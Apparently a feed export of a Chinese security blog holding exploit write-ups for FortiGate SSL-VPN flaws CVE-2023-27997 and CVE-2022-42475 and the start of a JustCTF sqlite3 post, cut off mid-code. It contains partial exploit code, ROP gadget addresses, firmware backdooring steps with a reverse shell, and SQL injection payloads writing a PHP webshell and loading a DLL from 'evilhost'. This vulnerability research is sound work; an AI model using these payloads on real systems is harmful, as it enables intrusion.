class="function"><span class="keyword">def</span> <span class="title">do_rewrtie_ssl_struct</span>(<span class="params">IP, port, salt, seeds</span>):</span></span><br><span class="line">    log.info(<span class="string">&#x27;Creating sockets...&#x27;</span>)</span><br><span class="line">    time.sleep(<span class="number">1</span>)</span><br><span class="line">    vul_sock = make_ssl_socket(IP, port, if_warp=<span class="literal">True</span>)</span><br><span class="line">    sock4 = make_ssl_socket(IP, port)</span><br><span class="line">    sock4.sendall(<span class="string">b&#x27;aaaa&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">&#x27;Rewrite SSL struct&#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> seed <span class="keyword">in</span> seeds:</span><br><span class="line">        <span class="keyword">for</span> offset <span class="keyword">in</span> seed:</span><br><span class="line">            write_value(vul_sock, salt, seed[offset].decode(<span class="string">&#x27;latin1&#x27;</span>), offset)</span><br><span class="line">    <span class="keyword">return</span> (vul_sock, sock4)</span><br></pre></td></tr></table></figure><p>其中一个 <code>vul_sock</code> 是用来溢出 buffer ， 然后 sock4 是用来分配 ssl 结构体， 用来被溢出的。 这样之后我们就能稳定触发溢出，且稳定的让 ssl 结构体分配在 out 的缓冲区后面<br>。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-a4930365eb0a53489ff736eff83e0c9e-f36a67.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-a4930365eb0a53489ff736eff83e0c9e-f36a67.png" alt="image.png"></a></p><h3 id="栈迁移"><a href="#栈迁移" class="headerlink" title="栈迁移"></a>栈迁移</h3><p>当触发溢出的时候， 我们的这个时候指针和内存大概如下：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-4994090cd5a6c71e1d1c02b3a843fe13-a5245c.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-4994090cd5a6c71e1d1c02b3a843fe13-a5245c.png" alt="image.png"></a></p><p>我们可以发现，当我们控制 PC  后， 这里的 <code>RDI</code> 寄存器指向的是我们的 ssl 结构体， 因此第一个涌上的思路是做栈迁移， 找一个类似于</p><p><code>push rdi; pop rsp; ... ; ret </code> 的 gadget 即可， 我们最后使用的是 <code>push_rdi_pop_rsp = 0x669129 # push rdi ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret</code></p><p>这样就将栈成功迁移到了我们的 ssl stuct ， 即可控的可写的缓冲区内。 然后这里预期直接在 ssl 缓冲区接着写我们剩下的 <code>gadget</code> ， 但是这里突然发现了一个问题， ssl struct 似乎有很多结构体不能被写， 一写就报错 。</p><p>于是我在这里换了个思路， 接着尝试布局堆结构，理想情况应该是：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-feac6e93867e3afd30cd73f00de7c7f0-2031ee.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-feac6e93867e3afd30cd73f00de7c7f0-2031ee.png" alt="image.png"></a></p><p>或者</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-8af32ae43ee156ed62aff6c50e7ba555-cc0cbe.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-8af32ae43ee156ed62aff6c50e7ba555-cc0cbe.png" alt="image.png"></a></p><p>在 out 前面 ， 或者 ssl struct 的后面布局一块完全可控的内存， 但是由于我们的这块完全可控的内存是不能被 00 截断的， 因此key-value 对的  key 似乎是不能用来布局的，但是这里我想了下， key 不能被用来布局堆， 但是 value 应该是可以的！！ 因此我在溢出结束之后， 接着尝试用如下代码发包：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">layout_gadget</span>(<span class="params">IP, port</span>):</span></span><br><span class="line">    ropchain = build_ropchain(args)</span><br><span class="line">    sock = make_ssl_socket(IP, port, if_warp=<span class="literal">True</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">        junk = cyclic(size, n=<span class="number">8</span>)</span><br><span class="line">        pay = <span class="built_in">bytearray</span>(junk)</span><br><span class="line">        <span class="comment">#pay[1: 1+13 * 8] = p64(ret) * 13</span></span><br><span class="line">        <span class="comment">#pay[105:105+len(ropchain)]  = ropchain</span></span><br><span class="line">        junk = <span class="built_in">bytes</span>(pay)</span><br><span class="line"></span><br><span class="line">        payload = <span class="string">&#x27;aaaa&#x27;</span> + <span class="string">&#x27;=&#x27;</span> + junk + <span class="string">&#x27;&amp;&#x27;</span> + <span class="string">&#x27;bbbb&#x27;</span> + <span class="string">&#x27;=&#x27;</span> + junk + <span class="string">&#x27;&amp;&#x27;</span> + <span class="string">&#x27;cccc&#x27;</span> + <span class="string">&#x27;=&#x27;</span> + junk + <span class="string">&#x27;&amp;&#x27;</span> + <span class="string">&#x27;dddd&#x27;</span> + <span class="string">&#x27;=&#x27;</span> + junk + <span class="string">&#x27;&amp;&#x27;</span> + <span class="string">&#x27;eeee&#x27;</span> + <span class="string">&#x27;=&#x27;</span> + junk </span><br><span class="line">        payload += <span class="string">&#x27;&amp;username=vvvv&#x27;</span></span><br><span class="line">        sock = set_heap_fengshui(sock, payload)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> sock</span><br></pre></td></tr></table></figure><p>成功在 out 缓冲区写下了一块可控的内存</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-d9a69e8ee03dbce4df4a250e873625d0-092293.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-d9a69e8ee03dbce4df4a250e873625d0-092293.png" alt="image.png"></a></p><p>因此此时内存结构如下：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-b44f04c102f10f092eb78af81e384f08-6327ef.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-b44f04c102f10f092eb78af81e384f08-6327ef.png" alt="image.png"></a></p><p>由于 ssl struct 有很多不能写的地方， 于是我想到一个方法， 尝试去找大量连续是 0 的缓冲区， 然后仅仅写入另外一段 stack pivot chain，将栈迁移到前面的可控缓冲区中 。最后我使用了这样的 chain ：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0x000000000060bdb4   # pop rax ; pop rdx ; ret</span><br><span class="line">bss_addr &#x3D; 0x4698eb0 # -&gt; rax</span><br><span class="line">offfset &#x3D;  0x26e0-1  # rdx -&gt; ropchain</span><br><span class="line">0x61a292  # : sub rsp, rdx ; dec dword ptr [rax - 0x77] ; ret</span><br></pre></td></tr></table></figure><p>通过这条 chain， 将栈迁移到前面的缓冲区， 进行更复杂的操作。</p><h3 id="执行任意指令"><a href="#执行任意指令" class="headerlink" title="执行任意指令"></a>执行任意指令</h3><p>在完成此部分之后，接下来就是组装ROP链的过程了。尽管该程序非常庞大，以至于几乎可以找到所需的任何gadget链，但找寻gadget终究是一个相对繁琐的任务。因此，最后决定采用mprotect + shellcode的方法。首先，利用一些gadget将rdi指向ROP链的内存开头。</p><p>这一部分内容就留作给读者完成吧</p><h2 id="Demo"><a href="#Demo" class="headerlink" title="Demo"></a>Demo</h2><blockquote class="twitter-tweet"><p lang="en" dir="ltr">I learned a lot from <a href="https://twitter.com/cfreal_?ref_src=twsrc%5Etfw">@cfreal_</a> , and it&#39;s great to write exploits together with <a href="https://twitter.com/leommxj?ref_src=twsrc%5Etfw">@leommxj</a>.<a href="https://twitter.com/hashtag/CVE?src=hash&amp;ref_src=twsrc%5Etfw">#CVE</a>-2023-27997 <a href="https://t.co/nEFndgvoVD">pic.twitter.com/nEFndgvoVD</a></p>&mdash; swing (@bestswngs) <a href="https://twitter.com/bestswngs/status/1669969165392953344?ref_src=twsrc%5Etfw">June 17, 2023</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><p>^[1]   <a href="https://labs.watchtowr.com/xortigate-or-cve-2023-27997/">https://labs.watchtowr.com/xortigate-or-cve-2023-27997/</a><br>^[2]  <a href="https://blog.lexfo.fr/xortigate-cve-2023-27997.html">https://blog.lexfo.fr/xortigate-cve-2023-27997.html</a><br>^[3] <a href="https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/#:~:text=The%20crash%20happened%20in">attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn</a><br>^[4] <a href="https://github.dev/openssl/openssl/tree/openssl-3.0.0">https://github.dev/openssl/openssl/tree/openssl-3.0.0</a></p></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
    <summary type="html">CVE-2023-27997</summary>
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="pwn" scheme="https://bestwing.me/tags/pwn/"/>
    
    <category term="cve-2023-27997" scheme="https://bestwing.me/tags/cve-2023-27997/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow</title>
    <link href="https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html"/>
    <id>https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html</id>
    <published>2023-06-17T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.188Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>原文链接：<a href="https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html">https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html</a></p><h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>这两天和 @leommxj 一起分析了和写了一下  CVE-2023-27997 的漏洞利用， 顺便一想想 CVE-2022-42475 这个漏洞也过去蛮久的了，于是准备把这篇 CVE-2022-42475 漏洞分析分享出来。注：本文不含完整的漏洞利用脚本。</p><p>下图为 CVE-2023-27997  的利用录屏， 与本文要讲的 CVE-2022-42475  无关</p><blockquote class="twitter-tweet"><p lang="en" dir="ltr">I learned a lot from <a href="https://twitter.com/cfreal_?ref_src=twsrc%5Etfw">@cfreal_</a> , and it&#39;s great to write exploits together with <a href="https://twitter.com/leommxj?ref_src=twsrc%5Etfw">@leommxj</a>.<a href="https://twitter.com/hashtag/CVE?src=hash&amp;ref_src=twsrc%5Etfw">#CVE</a>-2023-27997 <a href="https://t.co/nEFndgvoVD">pic.twitter.com/nEFndgvoVD</a></p>&mdash; swing (@bestswngs) <a href="https://twitter.com/bestswngs/status/1669969165392953344?ref_src=twsrc%5Etfw">June 17, 2023</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><p>注：这篇笔记成文于 2023-02-28 ， 发表于 2023-06-18</p><h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><p>2022 年 12 月 12 日，Fortinet 官方发布了影响 FortiGate SSLVPN 的 RCE 漏洞 CVE-2022-42475 相关信息。本文对此漏洞的成因进行分析。</p><h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><p>测试版本为 7.2.2， 环境的安装和部署可以参考这篇文章：  <a href="https://blog.csdn.net/meigang2012/article/details/87903878%E3%80%82">https://blog.csdn.net/meigang2012/article/details/87903878。</a> 另外感谢下 @explorer 网管大哥在部署环境上的帮助。</p><p>导入虚拟机后需要配置下网络， 参考 <a href="https://docs.fortinet.com/document/fortigate-private-cloud/7.2.0/vmware-esxi-administration-guide/615472/configuring-port-1">https://docs.fortinet.com/document/fortigate-private-cloud/7.2.0/vmware-esxi-administration-guide/615472/configuring-port-1</a></p><p>有个重点 dns 要设置下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">config system dns</span><br><span class="line"><span class="built_in">set</span> primary &lt;Primary DNS server&gt;</span><br><span class="line"><span class="built_in">set</span> secondary &lt;Secondary DNS server&gt;</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line"><span class="comment"># The default DNS servers are 208.91.112.53 and 208.91.112.52.</span></span><br></pre></td></tr></table></figure><p>需要配置一个 sslvpn ，然后能访问即可。</p><h2 id="设备权限获取"><a href="#设备权限获取" class="headerlink" title="设备权限获取"></a>设备权限获取</h2><p>挂载虚拟机 vmdk 硬盘后， 可以看到有个 rootfs.gz 文件。 </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@Jas-22:/home/user/Desktop/fuck-fortigate/rootfs<span class="comment"># ls</span></span><br><span class="line">bin  bin.tar.xz  boot  data  data2  dev  etc  fortidev  init  lib  lib64  migadmin.tar.xz  node-scripts.tar.xz  proc  sbin  sys  tmp  usr  usr.tar.xz  usr.tar.xz.chk  var</span><br></pre></td></tr></table></figure><p>可以看到有如下内容， 我们需要进一步解压  <code>bin.tar.xz</code> 文件夹，使用 sbin 目录自带的命令解压</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">chroot . /sbin/xz --check=sha256 -d /bin.tar.xz</span><br><span class="line">chroot . /sbin/ftar -xf /bin.tar</span><br><span class="line">chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz</span><br><span class="line">chroot . /sbin/ftar -xf /migadmin.tar</span><br></pre></td></tr></table></figure><p>然后需要在 bin 目录中放入后门，第一个是生成一个反弹shell替换  smartctl 文件， 以及我这里放入一个 busybox ，做一个软链接 <code>ln -sn /bin/busybox bin/sh</code> 设备中默认没有  bash （sh）文件 （或者说他的 sh 功能比较鸡肋）， 然后重新打包。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 重新打包 bin 文件夹</span></span><br><span class="line">chroot . sbin/ftar -cf bin.tar bin</span><br><span class="line">chroot . sbin/xz --check=sha256 -e bin.tar</span><br><span class="line"><span class="comment"># 重新打包 rootfs</span></span><br><span class="line">find . | cpio -H newc -o &gt; ../rootfs.raw</span><br><span class="line">cat ./rootfs.raw | gzip &gt; rootfs.gz</span><br></pre></td></tr></table></figure><p>重打包完成后， 我们需要过几个校验，才能正常启动系统。</p><p>vmlinux ： </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-03-6dbab4847a64cb84dff1b31c4e8e49b1-302eb4.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-03-6dbab4847a64cb84dff1b31c4e8e49b1-302eb4.png"></a></p><p>解下来是 bin/init：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-03-c887601385826f00ca523269f2551e12-419102.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-03-c887601385826f00ca523269f2551e12-419102.png"></a></p><p>这里会校验 fgtsum ， 失败直接给你重启最后是 rootfs 检查</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-03-b76899fa4e7c4c68e04166ca06b38b05-3f7506.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-03-b76899fa4e7c4c68e04166ca06b38b05-3f7506.png"></a></p><p>由于，我是采用 vmware +  gdb 的调试方式， 即 <a href="https://bestwing.me/Linux_Kernel_Debugging_with_VMware_and_GDB.html">使用VMware和GDB进行Linux内核调试 (bestwing.me)</a>， 因此我直接写了一个 gdb python 脚本动态修改返回值即可：</p><blockquote><p>这里皮一句，依稀记得这段代码是 chatGPT 帮我生成的。</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gdb</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SetRaxBreakpoint</span>(<span class="params">gdb.Breakpoint</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, bp_expr, rax_value, temporary=<span class="literal">False</span></span>):</span></span><br><span class="line">        gdb.Breakpoint.__init__(self, bp_expr, gdb.BP_BREAKPOINT, <span class="literal">False</span>, temporary )</span><br><span class="line">        <span class="comment"># super(SetRaxBreakpoint, self).__init__(spec, temporary)</span></span><br><span class="line">        self.rax_value = rax_value</span><br><span class="line">        self.silent = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">stop</span>(<span class="params">self</span>):</span></span><br><span class="line">        gdb.execute(<span class="string">&#x27;set $rax = &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(self.rax_value))</span><br><span class="line"></span><br><span class="line">gdb.execute(<span class="string">&#x27;set architecture i386:x86-64&#x27;</span>)</span><br><span class="line">gdb.execute(<span class="string">&#x27;set pagination off&#x27;</span>)</span><br><span class="line"></span><br><span class="line">r1 = SetRaxBreakpoint(<span class="string">&#x27;*0xffffffff807ac11c&#x27;</span>, <span class="number">0</span>)</span><br><span class="line">r2 = SetRaxBreakpoint(<span class="string">&#x27;*0x4518C9&#x27;</span>, <span class="number">1</span>) <span class="comment"># </span></span><br><span class="line">r3 = SetRaxBreakpoint(<span class="string">&#x27;*0x277fccc&#x27;</span>, <span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>当系统成功执行后，使用 <code>diagnose hardware smartctl </code> 即可运行我们的后门文件。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><h3 id="Root-Cause"><a href="#Root-Cause" class="headerlink" title="Root Cause"></a>Root Cause</h3><p>在处理用户 POST 数据的时候， </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-f8922630b29d5da26852daf138d53568-c35f78.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-f8922630b29d5da26852daf138d53568-c35f78.png"></a></p><p>会根据 http header 中的  <code>content-length</code>字段分配 buffer ， 然而在分配之前， 即在调用 pool_alloc 函数之前</p><blockquote><p> pool_alloc 有两个参数,  第二个为即将要分配的buffer 大小</p></blockquote><p>rax 为用户请求结构体指针，偏移位置 0x18 存放了 CL 值。先将 CL 放在 eax 寄存器中，使用 lea 指令将其加一后放在 esi 寄存器，再用 movsxd 扩展为 64 bit 值。</p><p>在调用 pool_alloc 函数时使用 32 位数值 + 1 拓展成 64 位的方法，这里存在整数溢出。那么我们可以构造特殊的 CL 值，比如 0x1b00000000，经过运算拓展之后会变成 0x1 。会分配一个小的内存空间导致溢出</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-128350f0bec9a51748ab3b63b116a7ce-981162.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-128350f0bec9a51748ab3b63b116a7ce-981162.png"></a></p><p>上面这个是断点是初始化 buffer ， 可以看到大小是 1,  之后在 memcpy 处就 会溢出。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-6b4a0c20901bb1fb02d0126a5149423b-28adec.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-6b4a0c20901bb1fb02d0126a5149423b-28adec.png"></a></p><h3 id="exploit"><a href="#exploit" class="headerlink" title="exploit"></a>exploit</h3><p>这里首先明确一下，我不会公开完整的利用，这里这提一点利用上的思路。利用整体思路参考 Orange 2017 年的文章， 大致思路就是进行进行竞争， 一边在堆上布局 SSL 结构体，一边触发漏洞，然后溢出覆盖 SSL 结构体。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-da548c387796e997639b84cc9298d0d2-3fc09e.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-da548c387796e997639b84cc9298d0d2-3fc09e.png"></a></p><p>之后就可以控制 PC ， 当我们控制 PC 后我们需要确定 padding ， 这个步骤比较繁琐， 我拿 PoC 改了一个循环 fuzz 的脚本。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">do_exploit</span>(<span class="params">padding</span>):</span></span><br><span class="line"> ...</span><br><span class="line"> payload = p64(ret) * padding + <span class="string">&#x27;A&#x27;</span> * <span class="number">0x1000</span></span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">123</span>, <span class="number">384</span>):</span><br><span class="line">    padding = <span class="built_in">int</span>(i )</span><br><span class="line">    <span class="keyword">if</span> do_exploit(padding):</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;timeout ...&#x27;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>然后对 ret 这个gadget 下一个断点， 当触发断点的时候， 脚本会因为timeout  触发异常，然后这附近大概就是咱们的padding。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-4f7aaf1a3306a4fe035b064f9bcd4e21-284979.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-03-01-4f7aaf1a3306a4fe035b064f9bcd4e21-284979.png"></a></p><p>然后这个时候只需要找栈迁移的gadget 即可。这里我找了的 <code> push rdx ; add bl, byte ptr [rbx + 0x41] ; pop rsp ; pop rbp ; ret</code> ， 这个gadget ， 正好可以将栈迁移到  rdi 寄存器所指向的内存地址上。然后将剩下 ret 指令的替换成 <code>pop rax ; ret</code><br>这样的gadget， 这样就能一直迁移到可控制的 <code>AAAAAAA</code> 的地方进行 rop 链了。</p><blockquote><p>再阅读这一部分的内容，我突然反应过来其实不需要替换指令， 当前的 ret 指令就足够迁移到可控的 <code>AAAA</code> 的位置进行 ROP 了</p></blockquote><p>由于 fortigate 的这个程序很大，正如 <a href="https://twitter.com/hashtag/CVE?src=hashtag_click">CVE</a>-2023-27997 的作者所说的，</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-18-052405000e893e38eafc4cdbda2afe2c-4a9f3b.png" title="image-20230618171021882" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-18-052405000e893e38eafc4cdbda2afe2c-4a9f3b.png" alt="image-20230618171021882"></a></p><p>该程序很大，想找到适合的 gadget 来组成 ropchain 仅仅需要花费一点时间就行了。</p><h2 id="参考连接"><a href="#参考连接" class="headerlink" title="参考连接"></a>参考连接</h2><p><a href="https://blog.csdn.net/meigang2012/article/details/87903878">飞塔老梅子的博客-CSDN博客</a></p><p><a href="https://docs.fortinet.com/document/fortigate-private-cloud/7.2.0/vmware-esxi-administration-guide/615472/configuring-port-1">Configuring port 1 | FortiGate Private Cloud 7.2.0 (fortinet.com)</a></p><p><a href="https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/">attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn</a></p><p><a href="https://bestwing.me/Linux_Kernel_Debugging_with_VMware_and_GDB.html">使用VMware和GDB进行Linux内核调试 (bestwing.me)</a></p><p><a href="https://wzt.ac.cn/2022/12/15/CVE-2022-42475/">CVE-2022-42475 | CataLpa’s Site (wzt.ac.cn)</a></p><p><a href="https://www.cnblogs.com/studyskill/p/6524672.html">fortios 5.4后门植入</a></p></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
    <summary type="html">CVE-2022-42475</summary>
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="pwn" scheme="https://bestwing.me/tags/pwn/"/>
    
    <category term="cve-2022-42475" scheme="https://bestwing.me/tags/cve-2022-42475/"/>
    
  </entry>
  
  <entry>
    <title>从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法</title>
    <link href="https://bestwing.me/How-to-hacked-sqlite.html"/>
    <id>https://bestwing.me/How-to-hacked-sqlite.html</id>
    <published>2023-06-04T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.195Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h1 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h1><p>周末简单看了下 JustCTF 2023 的题目， 主要是三个题目吸引了我的注意， 分别是 notabug 、notabug2 和Windytooth。 其中前面两个是和 sqlite3 相关的题目。再次学到了一点利用方式。</p><h3 id="Known-Attacks-on-SQLite"><a href="#Known-Attacks-on-SQLite" class="headerlink" title="Known Attacks on SQLite"></a>Known Attacks on SQLite</h3><p>在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法： <sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf">[1]</span></a></sup></p><h4 id="Attach-Database"><a href="#Attach-Database" class="headerlink" title="Attach Database"></a>Attach Database</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?id&#x3D;bob&#39;; ATTACH DATABASE &#39;&#x2F;var&#x2F;www&#x2F;lol.php&#39; AS lol; CREATE TABLE lol.pwn </span><br><span class="line">(dataz text); INSERT INTO lol.pwn (dataz) VALUES (&#39;&lt;? system($_GET[&#39;cmd&#39;]); </span><br><span class="line">?&gt;&#39;;--</span><br></pre></td></tr></table></figure><p>通过写 <code>ATTACH DATABASE</code> 写文件， 然后执行 php 代码</p><h4 id="SELECT-load-extension"><a href="#SELECT-load-extension" class="headerlink" title="SELECT load_extension"></a>SELECT load_extension</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?name&#x3D;123 UNION SELECT </span><br><span class="line">1,load_extension(&#39;\\evilhost\evilshare\meterpreter.dll&#39;,&#39;DllMain&#39;);--</span><br></pre></td></tr></table></figure><p>在能上传文件的情况在， 且加载扩展的功能必须打开 <sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://www.sqlite.org/c3ref/load_extension.html">[2]</span></a></sup> 。在 JustCTF 的 notabug 中也用到这个技巧</p><figure class="highlight python"><figcaption><span>title: "exploit for notabug (JustCTF 2023)"</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 